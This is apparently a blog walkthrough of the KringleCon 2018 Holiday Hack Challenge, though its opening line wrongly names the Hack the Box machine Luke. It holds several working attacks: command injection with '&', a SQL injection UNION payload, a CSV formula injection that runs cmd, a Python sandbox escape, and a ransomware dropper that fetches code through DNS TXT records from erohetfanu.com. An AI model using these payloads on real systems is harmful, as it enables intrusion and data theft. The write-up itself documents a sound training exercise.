Learning as I go

Kringlecon 2018 Walk through

Posted at — Jan 16, 2019

Walkthrough of machine Luke from Hack the Box. Key findings include exposed credentials & running a web service as a privileged user.

Objective 1 – Orientation Challenge

First stop was Bushy Evergreen with Essential Editor Skills. Solving it was simply a :q command in vim to quit.

For this challenge I couldn’t get the kiosk to load in-game. From asking in chat someone gave the direct URL – https://www.holidayhackchallenge.com/2018/challenges/osint_challenge_windows.html

Finding the answers was a combination of listening to the Ed Skoudis talk, browsing through the previous year’s challenge details on https://www.holidayhackchallenge.com/ & drawing on my memories from attempting the 2016 challenge. I did try and browse the page source to get the answers (no ‘submit’ button) but the code was too heavily obfuscated. Answers submitted are below.

After putting each of the right answers in the screen changes to the answer – ‘Happy Trails’.

Objective 2 – Directory Browsing

First was off to Minty Candycane to solve The Name Game Challenge. After experimenting with option 1 & 2 in the console menu I could only make command injection work on option 2. Option 2 appeared to want an address to ping & I found after putting localhost I could inject a command after that using &.

Through tinkering I managed to work out the Powershell script called is menu.ps1, the system appeared to be Linux (it wouldn’t recognise the type shell command) & dumping the PowerShell script (via injecting cat) showed there was an option 9 which invoked PowerShell (pwsh) directly. After selecting option 9 I could run sqlite3 directly. Through examining the table (.schema onboard) I found the appropriate user (Scott Chan).

Loaded up the CFP site at https://cfp.kringlecastle.com/index.html. From browsing the site I found two main pages – the webroot & cfp/cfp.html (nothing was in robots.txt). Noted that cfp/cfp.html was not loading from a normal index page. Attempting to browse to cfp/ showed two files, cfp.html & rejected-talks.csv.

A simple search for ‘Data Loss for Rainbow Teams: A Path in the Darkness’ in the rejected talks file showed the answer – ‘John McLane’.

Objective 3 – de Bruijn Sequences

First I solved the Lethal ForensicELFication Cranberry PI challenge. Answer found from reading the .viminfo file was Elinore.

Getting into the room requires breaking the door combination lock. From reading the source of the door combination pop up I found three things of interest. First is the JavaScript logs certain things to console (I loaded up the web console after finding this to observe), second is it tests combinations against another URL (so no easy plucking out the code :-() & last is the codes will wrap around.

Selecting a few shapes and watching the web console shows my hunch was correct – triangle was zero, square was one, circle was two & star was three.

From there I started reading about de Bruijn sequences and having a look at the sequence generator Tangle Coalbox gave from a hint. From my initial read through, de Bruijn is a sequence where all possible n length sequences occur once. This meant if I entered the sequence in order I would cover all possible keys.

Putting in k of 4 (I have four shapes to choose from) & n of 4 (I need a four value passcode). Punching each value of the sequence into the lock (using the identified shape / number substation) eventually gave me the correct answer of 0120 (Triangle Square Circle Triangle). Amusingly I did skip past it and not notice I had the correct answer at the first (took some trial and error to go back – that and noticing when the console log changed to confirm correct code submission).

Entering the unprepared speakers room and chatting with Morcel Nougat gave me the answer – ‘Welcome unprepared Speaker!’.

Objective 4 – Data Repo Analysis

First step was solving the Stall Mucking Report challenge. This required looking at the command line options passed to a process for the username (report-upload) and password (directreindeerflatterystable). I had trouble trying to get this from ps aux – ended up needing to pipe the output to cat which showed me all the commands. After submitting the answer (uploading the file) Wunorse Openslae gave me a hint to look at tool called Trufflehog.

Next we are off to the Kringlecastle git repository – https://git.kringlecastle.com/Upatree/santas_castle_automation. After having a browse around I cloned the git repository onto my local machine. A basic find command shows me a zip file in the schematics directory. Throwing trufflehog at the repository yields a number of interesting items, including a password used to protect sensitive files – Yippee-ki-yay. Trying this on the encrypted zip file works – we have the solution & likely map for the ventilation ducks (must explore them later).

Objective 5 – AD Privilege Discovery

First step was solving CURLing Master. I was stuck here for a while only using –http2 as an option for curl (and would get random characters back each time). To try all the options I ended up passing –http2-prior-knowledge instead of –http2. Getting a firm answer there I could solve the challenge (command curl –http2-prior-knowledge –data “status=on” http://localhost:8080/index.php).

From further reading my understanding is the nginx configuration only supports http2, so passing –http2 means the system would keep trying a http1.1 request and attempting to upgrade to http2 (which was failing). Given http2 transfers over binary, the random characters I received back were the binary response.

Hint received from Holly Evergreen is to use BloodHound to solve the objective challenge. Watched the BloodHound video from the hints and read a little bit

Downloading the virtual machine image & we are off to solve the next part. From here I ran ‘Shortest Paths to Domain Admins from Kerberoastable Users’ query inside Bloodhound. It gave me the user LDUBEJ00320@AD.KRINGLECASTLE.COM / Leanne Dubej. Initially I submitted Leanne Dubej & LDUBEJ00320 and had my answers rejected (bummer). At a whim I submitted LDUBEJ00320@AD.KRINGLECASTLE.COM & had the objective marked off. Need to come back in 2019 and learn a lot more about Active Directory (I know virtually nothing)

Objective 6 – Badge Manipulation

First step was solving Pepper Minstix Yule Log Analysis. The evtx file was dumped to xml using the supplied python script. From there I scanned the file for various logon file messages. In the end I found a pattern for Logon Type 8 (NetworkCleartext) that looked like an external party was enumerating through a userlist. After scanning through the list manually I noticed a failed logon against all users (code %%2313) except minty.candycane.

Next step is to get better at file analysis at the command line. I did this mostly manually with a little bit of grep assistance.

Pepper Minstix gives a hint for a QR code generator – https://www.the-qrcode-generator.com/. Scanning Alabaster’s badge gave a code of oRfjg5uGHmbduj2m. Creating a new QR code with this and uploading it shows it’s a valid id but disabled. Checking the hash suggests is a Base64, but I couldn’t find any meaning to the decoded value.

Taking the elvish hints of this being a SQLi puzzle I add a union statement to the end of the SQL statement. Uploading it gives a more useful error response –

{"data":"EXCEPTION AT (LINE 96 \"user_info = query(\"SELECT first_name,last_name, enabled FROM employees WHERE authorized = 1 AND uid = '{}' LIMIT 1\".format(uid))\"): (1064, u\"You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near '' LIMIT 1' at line 1\")","request":false}

From reading the error message I worked out the problem with the injected command. Tinkering a bit further I try Bob}’ UNION SELECT 1,2,3 FROM employees where ‘x’ = ‘x. This gives a successful response of

{"data":"User Access Granted - Control number 19880715","request":true,"success":
{"hash":"81e580f7af8d6001388367de24754b0eafaa90580b32b6f66b9a019f8b68f4c2","resourceId":"804c5411-08d9-462b-9e03-9c65b51c0e8b"}} and an open door.

From this we have the answer to the question – access control number from the door authentication panel is 19880715

Objective 7 – HR Incident Response

First is off to solve the Dev Ops Fail challenge from Sparkle Redberry. I spent a while manually reviewing the layout of the web page and reading through the hint files (not a huge git person). After finding the likely password (server/configuration/config.js) location I then moved onto stepping through the git commit history.

From here I found the commit (68405b8a6dcaed07c20927cee1fb6d6c59b62cc3) that added the initial server configuration (guess was an exposed password would likely be here). Stepping through the commit using git cat-file -p gets us to:

// Database URL
module.exports = {
'url' : 'mongodb://sredberry:twinkletwinkletwinkle@'

Password found – twinkletwinkletwinkle

The objective was fairly straight forward to solve. After watching the Brian Hostetler talk & tinkering a little bit, the string I went with in the uploaded csv was

=cmd|'/C copy C:\candidate_evaluation.docx C:\careerportal\resources\public\bob.docx'!A0.

This allowed me to download the candidate_evaluation.docx file. As a side note the page only required a CSV file to be uploaded, I didn’t need to fill out any other details (weird).

Reading the file gives the answer – Fancy Beaver.

Objective 8 – Network Traffic Forensics

First is off to solve Python Escape from LA Cranberry Pi terminal challenge with SugarPlum Mary. After watching the talk on Python escapes & experimenting I found the eval command was not being filtered. Using it along with a custom variable name did the trick.

>>> bob = eval('__imp' + 'ort__("os")')
>>> bob.system("id")
uid=1000(elf) gid=1000(elf) groups=1000(elf)
>>> bob.system("ls")
>>> bob.system("i_escaped")
sh: 1: i_escaped: not found
>>> bob.system("./i_escaped")
Loading, please wait......

____ _ _
| _ \ _ _| |_| |__ ___ _ __
| |_) | | | | __| '_ \ / _ \| '_ \
| __/| |_| | |_| | | | (_) | | | |
|_|___ \__, |\__|_| |_|\___/|_| |_| _ _
| ____||___/___ __ _ _ __ ___ __| | |
| _| / __|/ __/ _` | '_ \ / _ \/ _` | |
| |___\__ \ (_| (_| | |_) | __/ (_| |_|
|_____|___/\___\__,_| .__/ \___|\__,_(_)
That's some fancy Python hacking -
You have sent that lizard packing!
-SugarPlum Mary

After completing the Cranberry PI challenge we get a few more hints on how to solve packalyzer. There is supposed to be development code sitting in the web root & html comments will provide hints on what it is. Environment variables will also be useful and manipulating URLs is supposed to give weird and descriptive errors.

First step is having a play with the interface. It lets a packet capture be taken, shows an initial summary on screen & lets you download it for further analysis offline. Downloading one into WireShark shows TCP & TLS1.2 traffic. From watching the HTTP2 talk I guess this to be HTTP2 traffic which keys are needed to decode.

Stepping through the source of the main logged in page shows a number of things of interest:

Digging through the site shows directory names are shortened (‘pub’, ‘img’). If I try to load a directory that is there over port 443 I get a ‘Error: EISDIR: illegal operation on a directory, read’ error message that lets me know it exists (whereas stuff that doesn’t exist is simply a ‘not found’). Further probing shows there is an uploads/ & dev/ directory.

After a lot of digging the site and nudges from people online app.js is found at https://packalyzer.kringlecastle.com/pub/app.js. Reading this tells me there is a key log file which stores the last few minutes of keys and it’s stored in environment variable SSLKEYLOGFILE. Trying to load the variable name from the webroot at https://packalyzer.kringlecastle.com/SSLKEYLOGFILE/ gives me another error message Error: ENOENT: no such file or directory, open ‘/opt/http2packalyzer_clientrandom_ssl.log/’

Noticing that other paths start with /opt/http2 deduces we need a / added into the url. After trying to load packalyzer_clientrandom_ssl.log off the known URL prefixes it is eventually found at https://packalyzer.kringlecastle.com/dev/packalyzer_clientrandom_ssl.log. Thank you to roboto from Discord for pointing me in the right direction

Downloading & throwing this into WireShark unfortunately gives me nothing. After pondering for a bit realisation strikes that the keys recorded and packet capture are from two different timeframes. Repeating the exercise back to back & loading into Wireshark gives a mostly decrypted packet capture.

The packet capture mainly shows elves interacting with the packalyzer site. After digging for a while I find the following credentials:

The objective is to find the name of the song sent from Holly Evergreen to Alabaster Snowball. Given this I pick Alabaster’s account to log into any find a super-secret PCAP file.

Analysing the PCAP file in Wireshark shows a good amount of port 25 traffic. Following the conversation reveals an email from Holly Evergreen to Alabaster Snowball containing a base64 encoded attachment. I extracted out the base64 & saved it to a text file. From trial and error I removed the line breaks (notepad++ – ctrl j) and all spaces (find spaces / replace with no spaces).

I tried running it through a command like echo -n b64attach2.txt | base64 –decode > attachment in kali linux on my windows machine, but it kept complaining base64: invalid input. In the end I uploaded the file to https://www.base64decode.org/ and it gave me the PDF. The link https://osqa-ask.wireshark.org/questions/61169/extract-an-attachment-from-a-sniffed-smtp-session was also useful to get me started.

Reading the PDF gave the answer – Mary Had a Little Lamb.

The PDF also provided a clue to solve the keyboard lock. Musical transposition will be involved.

Objective 9 – Ransomware Recovery

First is off to solve the Sleigh Bell Lottery challenge with Shinny Upatree. After reading through the suggested hint file this was fairly straightforward.

I ran the application a few times to get a feel for what it did. It seems to be picking a random lotto number, comparing it to the winning number then deciding if you won or not. From there I dumped the symbol table with objdump -t sleighbell-lotto. This gave the following interesting things:

0000000000208060 g O .data 0000000000000008 winnermsg
0000000000000fd7 g F .text 00000000000004e0 winnerwinner
00000000000014b7 g F .text 0000000000000013 sorry

Solving the challenge was then a matter of:

elf@1bde13810748:~$ gdb -q ./sleighbell-lotto
Reading symbols from ./sleighbell-lotto...(no debugging symbols found)...done.
(gdb) break main
Breakpoint 1 at 0x14ce
(gdb) run
Starting program: /home/elf/sleighbell-lotto
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
Breakpoint 1, 0x00005555555554ce in main ()
(gdb) jump winnerwinner

9.1 – Catch the Malware

Snort rules used are below. Analysing the packet captures showed the string 77616E6E61636F6F6B69652E6D696E2E707331 seemed to be showing up in all the requests.

I used http://snorpy.com/ to get me started with rule creation. Creating the following snort rules did the trick.

Initially I only had the first rule but fixed this once I noted the traffic was bi-directional.

9.2 – Identify the Domain

I manually extracted the script from the supplied MS Word document. Using the example from the video. I then extracted the dropper value.

powershell.exe -ExecutionPolicy Bypass -C "sal a New-Object; (a IO.StreamReader((a IO.Compression.DeflateStream([IO.MemoryStream][Convert]::FromBase64String('lVHRSsMwFP2VSwksYUtoWkxxY4iyir4oaB+EMUYoqQ1syUjToXT7d2/1Zb4pF5JDzuGce2+a3tXRegcP2S0lmsFA/AKIBt4ddjbChArBJnCCGxiAbOEMiBsfSl23MKzrVocNXdfeHU2Im/k8euuiVJRsZ1Ixdr5UEw9LwGOKRucFBBP74PABMWmQSopCSVViSZWre6w7da2uslKt8C6zskiLPJcJyttRjgC9zehNiQXrIBXispnKP7qYZ5S+mM7vjoavXPek9wb4qwmoARN8a2KjXS9qvwf+TSakEb+JBHj1eTBQvVVMdDFY997NQKaMSzZurIXpEv4bYsWfcnA51nxQQvGDxrlP8NxH/kMy9gXREohG'),[IO.Compression.CompressionMode]::Decompress)),[Text.Encoding]::ASCII)).ReadToEnd() Out-File dropper.ps1"

Decoding, cleaning up & analysing the code provided two lines of interest.

foreach ($i in 0..([convert]::ToInt32((Resolve-DnsName -Server erohetfanu.com -Name "$f.erohetfanu.com" -Type TXT).strings, 10)-1)) {
$h += (Resolve-DnsName -Server erohetfanu.com -Name "$i.$f.erohetfanu.com" -Type TXT).strings};

From looking at the malware the domain being communicated with is erohetfanu.com.

9.3 – Stop the Malware

Analysing the initial dropper shows it pulls TXT records via a series of DNS queries from erohetfanu.com. This is to download the actual malware. Removing the final iex statement from the dropper and running it gives the malware code.

After cleaning up the code any analysing it the likely kill switch line is:

if ($null -ne ((Resolve-DnsName -Name $(H2A $(B2H $(ti_rox $(B2H $(G2B $(H2B $S1))) $(Resolve-DnsName -Server erohetfanu.com -Name 6B696C6C737769746368.erohetfanu.com -Type TXT).Strings))).ToString() -ErrorAction 0 -Server {return};

If the DNS lookup is successfully completed from a public DNS server ( the main malware function will exit.

Level of code obfuscation means the actual value can only be extracted from debugging the script. First I simplified the code – TXT DNS lookup done on 6B696C6C737769746368.erohetfanu.com gave 66667272727869657268667865666B73. Stepping through the braces (I messed this up first time) gave a line of H2A(B2H(ti_rox(B2H(G2B(H2B($S1))))(“66667272727869657268667865666B73”))).ToString().

Breakpoint was set on this line using Powershell ISE and code was run. Command was run at the debug console which gave yippeekiyaa.aaay. Registering this on HoHoHo Daddy unlocked the achievement.

9.4 – Recover Alabaster’s Password

Overall I found this one the hardest (likely why it got a 5 star difficulty rating). Thank you to rjacksix from Discord for the assist.

From analysing the malware:

  1. Initial encryption of *.elfdb files is done using the random key generated in $b_k
  2. Key object $p_k_e_k is created using a pre-defined public key (fetched via DNS) encrypted using $b_k and the result stored as hex.
  3. After the files are encrypted the $b_k key is removed from memory.
  4. Value in $p_k_e_k is not removed from memory. Length of $p_k_e_k when debugging the script is 512 characters.

From the above $p_k_e_k looks to be the only key that would be left in memory we could use.

From there I used power dump to search for 512 hexadecimal character variables & found only one (3cf903522e1a3966805b50e7f7dd51dc7969c73cfb1663a75a56ebf4aa4a1849d1949005437dc44b8464dca05680d531b7a971672d87b24b7a6d672d1d811e6c34f42b2f8d7f2b43aab698b537d2df2f401c2a09fbe24c5833d2c5861139c4b4d3147abb55e671d0cac709d1cfe86860b6417bf019789950d0bf8d83218a56e69309a2bb17dcede7abfffd065ee0491b379be44029ca4321e60407d44e6e381691dae5e551cb2354727ac257d977722188a946c75a295e714b668109d75c00100b94861678ea16f8b79b756e45776d29268af1720bc49995217d814ffd1e4b6edce9ee57976f9ab398f9a8479cf911d7d47681a77152563906a2c29c6d12f971)

Given the malware script coverts this to hex (using B2H) I convert it back to binary using xxd. This gives a 256 byte binary file.

From here we need other keys we can use to decode this. Given the hint was around asymmetric encryption, it’s likely we need a public & private key from somewhere.

Digging through the malware source code reveals:

$p_k = [System.Convert]::FromBase64String($(g_o_dns("7365727665722E637274") ) );

Guessing this is a “public key” ($p_k). Obtaining the TXT record for 7365727665722E637274.erohetfanu.com returns 10. Decoding 7365727665722E637274 via base64 provides server.crt. From here we may be onto something.

Fetching the values using the similar approach to 9.3 returns:


On an assumption server.key can be obtained using the same method, server.key is encoded using base64 and the TXT record for 7365727665722e6b6579.erohetfanu.com is looked up. Result comes back as 14 – Bingo 😊

Pulling the file down gives us:


OpenSSL is used to decrypt the above 256 byte file using the obtained private key. The hex of the decrypted key is then run back through the malware using:

$key = $(H2B "FBCFC121915D99CC20A3D3D5D84F8308");
e_n_d $key $f_c $false;

Which provides the decrypted elfdb file. Opening this using sqlite3 gives the vault password of ED#ED#EED#EF#G#F#G#ABA#BA#B & objective 9 completed.

Objective 10 – Who is behind it all?

Access to the vault room is needed to solve this objective.

Clues we have to open the vault door are:

Playing the initial vault passcode gives a message to say we are on the right track, but the song is in the wrong key.

Based on the musical transposition notes obtained from Objective 8, D is a whole step lower then E. Transposing the password down a whole step gives us D C# D C# D D C# D E F# E F# G A G# A G# A. Playing this on the door lock we have entry.

After entering the vault and chatting with Santa we get the answer to the objective – Santa.

Santa staged the event to help find people with a diverse set of skills to help defend the North Pole from future cyber-attacks. The text from chatting with Santa is below.

You DID IT! You completed the hardest challenge. You see, Hans and the soldiers work for ME. I had to test you. And you passed the test!
You WON! Won what, you ask? Well, the jackpot, my dear! The grand and glorious jackpot!
You see, I finally found you!
I came up with the idea of KringleCon to find someone like you who could help me defend the North Pole against even the craftiest attackers.
That’s why we had so many different challenges this year.
We needed to find someone with skills all across the spectrum.
I asked my friend Hans to play the role of the bad guy to see if you could solve all those challenges and thwart the plot we devised.
And you did!
Oh, and those brutish toy soldiers? They are really just some of my elves in disguise.
See what happens when they take off those hats?
Based on your victory… next year, I’m going to ask for your help in defending my whole operation from evil bad guys.
And welcome to my vault room. Where’s my treasure? Well, my treasure is Christmas joy and good will.
You did such a GREAT job! And remember what happened to the people who suddenly got everything they ever wanted?
They lived happily ever after.